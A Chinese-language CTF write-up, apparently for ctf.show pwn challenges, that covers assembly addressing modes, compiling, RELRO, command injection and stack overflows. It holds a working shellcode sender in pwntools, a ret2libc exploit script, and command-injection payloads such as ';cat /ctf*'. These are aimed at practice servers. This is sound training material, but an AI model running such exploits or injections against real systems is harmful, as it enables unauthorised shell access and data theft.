          int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(stdin, 0, 1, 0);  setvbuf(stdout, 0, 2, 0);  puts((const char *)&unk_80486E0);  puts((const char *)&unk_8048754);  puts((const char *)&unk_80487D0);  puts((const char *)&unk_804885C);  puts((const char *)&unk_80488EC);  puts((const char *)&unk_8048970);  puts((const char *)&unk_8048A04);  puts("    * *************************************                           ");  puts((const char *)&unk_8048AC8);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : NX disabled & Has RWX segments                          ");  puts("    * *************************************                           ");  ctfshow(&argc);  return 0;}

          反编译没法跟进ctfshow

          .text:080484C6                 public ctfshow.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p.text:080484C6.text:080484C6 buf             = byte ptr -88h.text:080484C6 var_4           = dword ptr -4.text:080484C6.text:080484C6 ; __unwind {.text:080484C6                 push    ebp.text:080484C7                 mov     ebp, esp.text:080484C9                 push    ebx.text:080484CA                 sub     esp, 84h.text:080484D0                 call    __x86_get_pc_thunk_bx.text:080484D5                 add     ebx, 1B2Bh.text:080484DB                 sub     esp, 4.text:080484DE                 push    100h            ; nbytes.text:080484E3                 lea     eax, [ebp+buf].text:080484E9                 push    eax             ; buf.text:080484EA                 push    0               ; fd.text:080484EC                 call    _read           ; 调用read函数 将我们写入的读进去.text:080484F1                 add     esp, 10h.text:080484F4                 sub     esp, 0Ch.text:080484F7                 lea     eax, [ebp+buf]  ; 将我们输入赋给eax的[ebp+buf].text:080484FD                 push    eax             ; s.text:080484FE                 call    _puts   .text:08048503                 add     esp, 10h.text:08048506                 lea     eax, [ebp+buf].text:0804850C                 call    eax             ; 执行读入的内容.text:0804850E                 nop.text:0804850F                 mov     ebx, [ebp+var_4].text:08048512                 leave.text:08048513                 retn.text:08048513 ; } // starts at 80484C6.text:08048513 ctfshow         endp

          pwn文件的NX是关掉的,代表栈可执行。

          而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!

          from pwn import *io = remote('pwn.challenge.ctf.show', 28127)# io = process('./../Challenge/ctfshow_pwn/pwn24')shellcode = asm(shellcraft.sh())io.sendline(shellcode)io.interactive()

          pwn25(ret2libc)

          开启NX保护,或许可以试试ret2libc

          int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(stdin, 0, 1, 0);  setvbuf(stdout, 0, 2, 0);  ctfshow();  logo();  write(0, "Hello CTFshow!\n", 0xEu);  return 0;}
          #ctfshowssize_t ctfshow(){  char buf; // [esp+0h] [ebp-88h]  return read(0, &buf, 0x100u);}

          通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。

          具体攻击手法为:ret2libc

          即先找到栈溢出漏洞,通过write函数泄露 write 函数的真实地址,根据泄露的 write 函数地址,使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址,获取 system 函数和”/bin/sh” 字符串的地址。构造新的 payload,使用泄露的 system 函数和 “/bin/sh” 字符串的地址来进行get shell

          from pwn import *from LibcSearcher import *context.log_level = 'debug'io = remote('pwn.challenge.ctf.show', 28288)#io = process('./../Challenge/ctfshow_pwn/pwn25')elf = ELF('./../Challenge/ctfshow_pwn/pwn25')offset = 0x88+0x4  # read_bufmain = elf.sym['main']puts_plt = elf.plt['puts']puts_got = elf.got['puts']payload = cyclic(offset)+p32(puts_plt)+p32(main)+p32(puts_got)io.sendline(payload)puts_addr = u32(io.recv()[0:4])print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system = libc_base + libc.dump('system')bin_sh = libc_base + libc.dump('str_bin_sh')payload = cyclic(offset)+p32(system)+cyclic(4)+p32(bin_sh)io.sendline(payload)io.interactive()
          ]]>
          + 从零开始的pwn生活

          pwn0

          ssh ctfshow@pwn.challenge.ctf.show -p28184 # 123456

          ssh连接会有一段炫酷的画面

          pwn1

          IDA反编译一下附件

          nc直接给flag

          pwn2

          太友好了 直接给了shell

          pwn3

          直接选6拿flag

          pwn4

          输入CTFshowPWN getshell

          前置基础

          pwn5

          运行此文件,将得到的字符串以ctfshow{xxxxx}提交。

          汇编代码

          section .data    msg db "Welcome_to_CTFshow_PWN", 0section .text    global _start_start:; 立即寻址方式    mov eax, 11         ; 将11赋值给eax    add eax, 114504     ; eax加上114504    sub eax, 1          ; eax减去1; 寄存器寻址方式    mov ebx, 0x36d      ; 将0x36d赋值给ebx    mov edx, ebx        ; 将ebx的值赋值给edx; 直接寻址方式    mov ecx, msg      ; 将msg的地址赋值给ecx; 寄存器间接寻址方式    mov esi, msg        ; 将msg的地址赋值给esi    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax; 寄存器相对寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    add ecx, 4          ; 将ecx加上4    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax; 基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 2          ; 将2赋值给edx    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax; 相对基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 1          ; 将1赋值给edx    add ecx, 8          ; 将ecx加上8    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax; 输出字符串    mov eax, 4          ; 系统调用号4代表输出字符串    mov ebx, 1          ; 文件描述符1代表标准输出    mov ecx, msg        ; 要输出的字符串的地址    mov edx, 22         ; 要输出的字符串的长度    int 0x80            ; 调用系统调用; 退出程序    mov eax, 1          ; 系统调用号1代表退出程序    xor ebx, ebx        ; 返回值为0s    int 0x80            ; 调用系统调用

          使用NASM汇编器和ld链接器编译成可执行文件。

          使用以下命令将其编译为对象文件

          nasm -f elf pwn5_1.asm

          这将生成一个名为pwn5_1.o 的对象文件。接下来,使用以下命令将对象文件链接成可执行文件:

          ld -m elf_i386 -s -o pwn5_1 pwn5_1.o

          ld 是 Linux 下的链接器,用于将一个或多个对象文件(.o 文件)和库文件链接成可执行文件或库文件。在你提供的命令中:

          • ld:链接器程序本身。
          • -m elf_i386:指定生成的目标文件格式为 elf_i386,这是为 32 位 Intel 架构计算机生成的 ELF(Executable and Linkable Format)格式。
          • -s:这个选项告诉链接器在生成的可执行文件中剥离所有符号信息。这通常用于减少可执行文件的大小,并且可能用于安全目的,以防止某些类型的逆向工程。
          • -o pwn5_1:指定输出文件的名称为 pwn5_1
          • pwn5_1.o:这是要链接的对象文件。

          这将生成一个名为 pwn5_1 的可执行文件 (事实上题目附件第二个就是)

          运行pwn5_1或者pwn5_2即可

          pwn6(立即寻址)

          立即寻址方式结束后eax寄存器的值为?

          立即寻址方式    mov eax, 11         ; 将11赋值给eax    add eax, 114504     ; eax加上114504    sub eax, 1          ; eax减去1

          11+114504-1=114514

          pwn7(寄存器寻址)

          寄存器寻址方式结束后edx寄存器的值为?

          寄存器寻址方式    mov ebx, 0x36d      ; 将0x36d赋值给ebx    mov edx, ebx        ; 将ebx的值赋值给edx

          0x36D

          pwn8(直接寻址)

          直接寻址方式结束后ecx寄存器的值为?

          section .data    msg db "Welcome_to_CTFshow_PWN", 0直接寻址方式    mov ecx, [msg]      ; 将msg的地址赋值给ecx

          0x80490E8

          pwn9(寄存器间接寻址)

          寄存器间接寻址方式结束后eax寄存器的值为?

          寄存器间接寻址方式    mov esi, msg        ; 将msg的地址赋值给esi    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

          0x636C6557

          pwn10(寄存器相对寻址)

          寄存器相对寻址方式结束后eax寄存器的值为?

          寄存器相对寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    add ecx, 4          ; 将ecx加上4    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

          080490E8+4=080490EC “ome_to_CTFshow_PWN”

          pwn11(基址变址寻址)

          基址变址寻址方式结束后的eax寄存器的值为?

          基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 2          ; 将2赋值给edx    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

          080490E8+2*2=080490EC “ome_to_CTFshow_PWN”

          pwn12(相对基址变址寻址)

          相对基址变址寻址方式结束后eax寄存器的值为?

          相对基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 1          ; 将1赋值给edx    add ecx, 8          ; 将ecx加上8    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

          080490E8+8+1*2-6=080490EC “ome_to_CTFshow_PWN”

          pwn13(gcc)

          如何使用GCC?编译运行后即可获得flag

          gcc flag.c -o flag./flagctfshow{hOw_t0_us3_GCC?}

          pwn14

          请你阅读以下源码,给定key为”CTFshow”,编译运行即可获得flag

          #include <stdio.h>#include <stdlib.h>#define BUFFER_SIZE 1024int main() {    FILE *fp;    unsigned char buffer[BUFFER_SIZE];    size_t n;    fp = fopen("pwn14_key", "rb");    if (fp == NULL) {        perror("Nothing here!");        return -1;    }    char output[BUFFER_SIZE * 9 + 12];     int offset = 0;    offset += sprintf(output + offset, "ctfshow{");    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {        for (size_t i = 0; i < n; i++) {            for (int j = 7; j >= 0; j--) {                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);            }            if (i != n - 1) {                offset += sprintf(output + offset, "_");            }        }        if (!feof(fp)) {            offset += sprintf(output + offset, " ");        }    }    offset += sprintf(output + offset, "}");    printf("%s\n", output);    fclose(fp);    return 0;}

          程序打开名为 “pwn14_key” 的文件,以二进制(”rb”)模式进行读取。如果文件打开失败,将输出错误消息 “Nothing here!” 并返回 -1。

          接下去就是通过循环将fp的值(也就是key的内容)逐个转为8位二进制数,通过”_”连接,用ctfshow{}包裹后存入output中

          echo "CTFshow" > pwn14_keygcc pwn14_flag.c -o pwn14./pwn14ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}

          pwn15(nasm)

          编译汇编代码到可执行文件,即可拿到flag

          这段代码是一个使用 x86 汇编语言编写的程序,用于在标准输出上打印一串特定格式的字符串。要将这段代码编译为可执行文件,使用汇编器和链接器进行以下步骤:

          section .data    str1 db "CTFshow",0    str2 db "_3@sy",0    str3 db "@ss3mb1y",0    str4 db "_1s",0    str5 db "ctfshow{"    str6 db "}"section .text    global _start_start:    mov eax, 4     mov ebx, 1     mov ecx, str5     mov edx, 8    int 0x80     mov eax, 4    mov ebx, 1    mov ecx, str3    mov edx, 8    int 0x80    mov eax, 4    mov ebx, 1    mov ecx, str4    mov edx, 3    int 0x80    mov eax, 4    mov ebx, 1    mov ecx, str2    mov edx, 5    int 0x80    mov eax, 4    mov ebx, 1    mov ecx, str6    mov edx, 1    int 0x80    mov eax, 1     xor ebx, ebx     int 0x80 
          nasm -f elf pwn15_flag.asm -o pwn15.old -m elf_i386 -o pwn15 pwn15.o./pwn15ctfshow{@ss3mb1y_1s_3@sy}

          pwn16(gcc .s)

          使用gcc将其编译为可执行文件

          .s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。 .s 文件通常由汇编器(Assembler)处理,将其转换为可执行文件或目标文件。可以使用 gcc 命令直接编译汇编语言源文件( .s 文件)并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器

          gcc pwn16_flag.s -o pwn16./pwn16ctfshow{daniuniuda}

          pwn17

          IDA 关键源码

          while ( 1 )  {    menu(v4, v3);    v5 = 0;    puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");    v3 = &v5;    __isoc99_scanf("%d", &v5);    switch ( (unsigned int)off_140C )    {      case 1u:        v4 = "id";        system("id");        break;      case 2u:        puts("Which directory?('/','./' or the directiry you want?)");        read(0, &buf, 0xAuLL);        v3 = (int *)&buf;        strcat(dest, &buf);        system(dest);        v4 = "Execution succeeded!";        puts("Execution succeeded!");        break;      case 3u:        sleep(1u);        puts("$cat /ctfshow_flag");        sleep(1u);        puts("ctfshow{");        sleep(2u);        puts("... ...");        sleep(3u);        puts("Your flag is ...");        sleep(5u);        puts("ctfshow{flag is not here!}");        sleep(0x14u);        puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");        sleep(0x1BF52u);        v4 = "cat /ctfshow_flag";        system("cat /ctfshow_flag");        break;      case 4u:        sleep(2u);        v4 = "su: Authentication failure";        puts("su: Authentication failure");        break;      case 5u:        puts("See you!");        exit(-1);        return;      default:        v4 = "command not found!";        puts("command not found!");        break;    }  }

          选项2 命令拼接 ;cat /ctf*

          pwn18(>>追加)

          IDA反编译

          int __cdecl main(int argc, const char **argv, const char **envp){  int v4; // [rsp+4h] [rbp-Ch]  unsigned __int64 v5; // [rsp+8h] [rbp-8h]  v5 = __readfsqword(0x28u);  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 1, 0LL);  puts(s);  puts(asc_B10);  puts(asc_B90);  puts(asc_C20);  puts(asc_CB0);  puts(asc_D38);  puts(asc_DD0);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : Do you know redirect output ?                           ");  puts("    * *************************************                           ");  puts("Which is the real flag?");  __isoc99_scanf("%d", &v4);  if ( v4 == 9 )    fake();  else    real();  system("cat /ctfshow_flag");  return 0;}

          分别跟进fake()real()

          #fake()int fake(){  return system("echo 'flag is here'>>/ctfshow_flag");}#real()int real(){  return system("echo 'flag is here'>/ctfshow_flag");}

          可以看到fake是>>追加 real是>覆盖写入

          于是填9进入fake即可

          pwn19(1>&0)

          Hint: 关闭了输出流,一定是最安全的吗?

          int __cdecl main(int argc, const char **argv, const char **envp){  char buf; // [rsp+10h] [rbp-30h]  unsigned __int64 v5; // [rsp+38h] [rbp-8h]  v5 = __readfsqword(0x28u);  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 1, 0LL);  puts(s);  puts(asc_BF0);  puts(asc_C70);  puts(asc_D00);  puts(asc_D90);  puts(asc_E18);  puts(asc_EB0);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : Turn off output, how to get flag? ");  puts("    * *************************************                           ");  if ( fork() )  {    wait(0LL);    sleep(3u);    printf("flag is not here!", 0LL);  }  else  {    puts("give you a shell! now you need to get flag!");    fclose(_bss_start);    read(0, &buf, 0x20uLL);    system(&buf);  }  return 0;}

          if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中, fork() 返回子进程的进程ID,所以进入if 语句块;子进程中, fork() 返回0,所以进入 else 语句块。

          在父进程中:

          • wait(0LL) : 父进程通过 wait() 函数等待子进程的结束,以确保子进程执行完毕。

          • sleep(3u) : 父进程睡眠3秒钟。

          • printf(“flag is not here!”) : 输出提示信息,表明flag不在此处。

          在子进程中:

          • puts(“give you a shell! now you need to get flag!”) : 输出提示信息,表示给予用户一个shell,让其获取flag。

          • fclose() : 关闭文件输出流。

          • read(0, &buf, 0x20uLL) : 从标准输入中读取用户输入的命令,并存储在 buf 中。

          • system(&buf) : 执行用户输入的命令。

          我们可以使用了 exec 函数来执行 sh 命令,并使用 1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。

          具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后,进入一个交互式的Shell环境,可以在该环境中执行命令并与用户进行交互。

          也可以直接exec cat /ctf* 1>&0cat /ctf* 命令的输出发送到标准输入,实际上就是将命令的输出再次输出到屏幕上

          pwn20(RELRO)

          聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT
          聊聊Linux动态链接中的PLT和GOT(2)——延迟重定位
          聊聊Linux动态链接中的PLT和GOT(3)——公共GOT表项

          PWN20-22

          可以看到仅开启了NX保护,RELRO保护是完全关闭状态

          这里先将一下RELRO保护:RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。

          RELRO保护有三种状态:

          1. No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指
            针,从而进行攻击。这是最弱的保护状态。
          2. Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可
            写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
          3. Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构
            的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。

          objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。

          • Linux下反汇编目标文件或者可执行文件。
          • 查看静态库和动态库有哪些函数

          查看一下表项地址

          ❯ readelf -S pwn20There are 29 section headers, starting at offset 0x1878:Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000           0     0     0  [ 1] .interp           PROGBITS         0000000000400200  00000200       000000000000001c  0000000000000000   A       0     0     1  [ 2] .note.ABI-tag     NOTE             000000000040021c  0000021c       0000000000000020  0000000000000000   A       0     0     4  [ 3] .note.gnu.bu[...] NOTE             000000000040023c  0000023c       0000000000000024  0000000000000000   A       0     0     4  [ 4] .gnu.hash         GNU_HASH         0000000000400260  00000260       000000000000001c  0000000000000000   A       5     0     8  [ 5] .dynsym           DYNSYM           0000000000400280  00000280       0000000000000090  0000000000000018   A       6     1     8  [ 6] .dynstr           STRTAB           0000000000400310  00000310       000000000000004b  0000000000000000   A       0     0     1  [ 7] .gnu.version      VERSYM           000000000040035c  0000035c       000000000000000c  0000000000000002   A       5     0     2  [ 8] .gnu.version_r    VERNEED          0000000000400368  00000368       0000000000000020  0000000000000000   A       6     1     8  [ 9] .rela.dyn         RELA             0000000000400388  00000388       0000000000000030  0000000000000018   A       5     0     8  [10] .rela.plt         RELA             00000000004003b8  000003b8       0000000000000048  0000000000000018  AI       5    22     8  [11] .init             PROGBITS         0000000000400400  00000400       0000000000000017  0000000000000000  AX       0     0     4  [12] .plt              PROGBITS         0000000000400420  00000420       0000000000000040  0000000000000010  AX       0     0     16  [13] .text             PROGBITS         0000000000400460  00000460       0000000000000252  0000000000000000  AX       0     0     16  [14] .fini             PROGBITS         00000000004006b4  000006b4       0000000000000009  0000000000000000  AX       0     0     4  [15] .rodata           PROGBITS         00000000004006c0  000006c0       000000000000053a  0000000000000000   A       0     0     8  [16] .eh_frame_hdr     PROGBITS         0000000000400bfc  00000bfc       000000000000003c  0000000000000000   A       0     0     4  [17] .eh_frame         PROGBITS         0000000000400c38  00000c38       0000000000000100  0000000000000000   A       0     0     8  [18] .init_array       INIT_ARRAY       0000000000600d38  00000d38       0000000000000008  0000000000000008  WA       0     0     8  [19] .fini_array       FINI_ARRAY       0000000000600d40  00000d40       0000000000000008  0000000000000008  WA       0     0     8  [20] .dynamic          DYNAMIC          0000000000600d48  00000d48       00000000000001d0  0000000000000010  WA       6     0     8  [21] .got              PROGBITS         0000000000600f18  00000f18       0000000000000010  0000000000000008  WA       0     0     8  [22] .got.plt          PROGBITS         0000000000600f28  00000f28       0000000000000030  0000000000000008  WA       0     0     8  [23] .data             PROGBITS         0000000000600f58  00000f58       0000000000000010  0000000000000000  WA       0     0     8  [24] .bss              NOBITS           0000000000600f68  00000f68       0000000000000008  0000000000000000  WA       0     0     1  [25] .comment          PROGBITS         0000000000000000  00000f68       0000000000000029  0000000000000001  MS       0     0     1  [26] .symtab           SYMTAB           0000000000000000  00000f98       00000000000005e8  0000000000000018          27    43     8  [27] .strtab           STRTAB           0000000000000000  00001580       00000000000001f1  0000000000000000           0     0     1  [28] .shstrtab         STRTAB           0000000000000000  00001771       0000000000000103  0000000000000000           0     0     1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  L (link order), O (extra OS processing required), G (group), T (TLS),  C (compressed), x (unknown), o (OS specific), E (exclude),  D (mbind), l (large), p (processor specific)

          readelf一般用于查看ELF格式的文件信息,常见的文件如在Linux上的可执行文件,动态库(.so)或者静态库(.a) 等包含ELF格式的文件

          Ask:

          提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

          例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

          最终flag为ctfshow{1_1_0x400820_0x8208820}

          若某个表不存在,则无需写其对应地址

          如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

          [21] .got              PROGBITS         0000000000600f18  00000f18     0000000000000010  0000000000000008  WA       0     0     8[22] .got.plt          PROGBITS         0000000000600f28  00000f28     0000000000000030  0000000000000008  WA       0     0     8

          根据反编译后的代码进行测试

          int __cdecl main(int argc, const char **argv, const char **envp){  _QWORD *v3; // rax  puts(s);  puts(asc_400740);  puts(asc_4007C0);  puts(asc_400850);  puts(asc_4008E0);  puts(asc_400968);  puts(asc_400A00);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : What is RELRO protection ?                              ");  puts("    * *************************************                           ");  v3 = (_QWORD *)strtol(argv[1], 0LL, 16);  *v3 = 1380273234LL;  printf("RELRO: %x\n", (unsigned int)*v3, argv);  return 0;}

          ctfshow{1_1_0x600f18_0x600f28}

          pwn21(Partial RELRO)

          这次变成 Partial RELRO

          Partial RELRO:一些段(包括.dynamic、.got等)在初始化后将会被标记为只读。在Ubuntu16.04(GCC-5.4.0)上默认开启Partial RELRO。

          Full RELRO:除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.gotPlt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读但其实.got.plt会直接被合并到.got,也就看不到这段了。另外link_map和_dl_runtime_resolve的地址也不会被装入。开启Full RELRO会对程序启动时的性能造成一定的影响,但也只有这样才能防止攻击者篡改GOT。

          当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
          当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
          当RELRO为No RELRO时,表示.got与.got.plt都可写。

          ❯ readelf -S pwn21There are 29 section headers, starting at offset 0x1950:Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000           0     0     0  [ 1] .interp           PROGBITS         0000000000400238  00000238       000000000000001c  0000000000000000   A       0     0     1  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254       0000000000000020  0000000000000000   A       0     0     4  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274       0000000000000024  0000000000000000   A       0     0     4  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298       000000000000001c  0000000000000000   A       5     0     8  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8       0000000000000090  0000000000000018   A       6     1     8  [ 6] .dynstr           STRTAB           0000000000400348  00000348       000000000000004b  0000000000000000   A       0     0     1  [ 7] .gnu.version      VERSYM           0000000000400394  00000394       000000000000000c  0000000000000002   A       5     0     2  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0       0000000000000020  0000000000000000   A       6     1     8  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0       0000000000000030  0000000000000018   A       5     0     8  [10] .rela.plt         RELA             00000000004003f0  000003f0       0000000000000048  0000000000000018  AI       5    22     8  [11] .init             PROGBITS         0000000000400438  00000438       0000000000000017  0000000000000000  AX       0     0     4  [12] .plt              PROGBITS         0000000000400450  00000450       0000000000000040  0000000000000010  AX       0     0     16  [13] .text             PROGBITS         0000000000400490  00000490       0000000000000252  0000000000000000  AX       0     0     16  [14] .fini             PROGBITS         00000000004006e4  000006e4       0000000000000009  0000000000000000  AX       0     0     4  [15] .rodata           PROGBITS         00000000004006f0  000006f0       000000000000053a  0000000000000000   A       0     0     8  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c       000000000000003c  0000000000000000   A       0     0     4  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68       0000000000000100  0000000000000000   A       0     0     8  [18] .init_array       INIT_ARRAY       0000000000600e10  00000e10       0000000000000008  0000000000000008  WA       0     0     8  [19] .fini_array       FINI_ARRAY       0000000000600e18  00000e18       0000000000000008  0000000000000008  WA       0     0     8  [20] .dynamic          DYNAMIC          0000000000600e20  00000e20       00000000000001d0  0000000000000010  WA       6     0     8  [21] .got              PROGBITS         0000000000600ff0  00000ff0       0000000000000010  0000000000000008  WA       0     0     8  [22] .got.plt          PROGBITS         0000000000601000  00001000       0000000000000030  0000000000000008  WA       0     0     8  [23] .data             PROGBITS         0000000000601030  00001030       0000000000000010  0000000000000000  WA       0     0     8  [24] .bss              NOBITS           0000000000601040  00001040       0000000000000008  0000000000000000  WA       0     0     1  [25] .comment          PROGBITS         0000000000000000  00001040       0000000000000029  0000000000000001  MS       0     0     1  [26] .symtab           SYMTAB           0000000000000000  00001070       00000000000005e8  0000000000000018          27    43     8  [27] .strtab           STRTAB           0000000000000000  00001658       00000000000001f1  0000000000000000           0     0     1  [28] .shstrtab         STRTAB           0000000000000000  00001849       0000000000000103  0000000000000000           0     0     1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  L (link order), O (extra OS processing required), G (group), T (TLS),  C (compressed), x (unknown), o (OS specific), E (exclude),  D (mbind), l (large), p (processor specific)

          ctfshow{0_1_0x600ff0_0x601000}

          pwn22(Full RELRO)

          .got.got.plt都不可写

           readelf -S pwn22There are 28 section headers, starting at offset 0x1900:Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000           0     0     0  [ 1] .interp           PROGBITS         0000000000400238  00000238       000000000000001c  0000000000000000   A       0     0     1  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254       0000000000000020  0000000000000000   A       0     0     4  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274       0000000000000024  0000000000000000   A       0     0     4  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298       000000000000001c  0000000000000000   A       5     0     8  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8       0000000000000090  0000000000000018   A       6     1     8  [ 6] .dynstr           STRTAB           0000000000400348  00000348       000000000000004b  0000000000000000   A       0     0     1  [ 7] .gnu.version      VERSYM           0000000000400394  00000394       000000000000000c  0000000000000002   A       5     0     2  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0       0000000000000020  0000000000000000   A       6     1     8  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0       0000000000000030  0000000000000018   A       5     0     8  [10] .rela.plt         RELA             00000000004003f0  000003f0       0000000000000048  0000000000000018  AI       5    21     8  [11] .init             PROGBITS         0000000000400438  00000438       0000000000000017  0000000000000000  AX       0     0     4  [12] .plt              PROGBITS         0000000000400450  00000450       0000000000000040  0000000000000010  AX       0     0     16  [13] .text             PROGBITS         0000000000400490  00000490       0000000000000252  0000000000000000  AX       0     0     16  [14] .fini             PROGBITS         00000000004006e4  000006e4       0000000000000009  0000000000000000  AX       0     0     4  [15] .rodata           PROGBITS         00000000004006f0  000006f0       000000000000053a  0000000000000000   A       0     0     8  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c       000000000000003c  0000000000000000   A       0     0     4  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68       0000000000000100  0000000000000000   A       0     0     8  [18] .init_array       INIT_ARRAY       0000000000600dc0  00000dc0       0000000000000008  0000000000000008  WA       0     0     8  [19] .fini_array       FINI_ARRAY       0000000000600dc8  00000dc8       0000000000000008  0000000000000008  WA       0     0     8  [20] .dynamic          DYNAMIC          0000000000600dd0  00000dd0       00000000000001f0  0000000000000010  WA       6     0     8  [21] .got              PROGBITS         0000000000600fc0  00000fc0       0000000000000040  0000000000000008  WA       0     0     8  [22] .data             PROGBITS         0000000000601000  00001000       0000000000000010  0000000000000000  WA       0     0     8  [23] .bss              NOBITS           0000000000601010  00001010       0000000000000008  0000000000000000  WA       0     0     1  [24] .comment          PROGBITS         0000000000000000  00001010       0000000000000029  0000000000000001  MS       0     0     1  [25] .symtab           SYMTAB           0000000000000000  00001040       00000000000005d0  0000000000000018          26    42     8  [26] .strtab           STRTAB           0000000000000000  00001610       00000000000001f1  0000000000000000           0     0     1  [27] .shstrtab         STRTAB           0000000000000000  00001801       00000000000000fa  0000000000000000           0     0     1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  L (link order), O (extra OS processing required), G (group), T (TLS),  C (compressed), x (unknown), o (OS specific), E (exclude),  D (mbind), l (large), p (processor specific)

          ctfshow{0_0_0x600fc0}

          pwn23(dest)

          IDA 32位

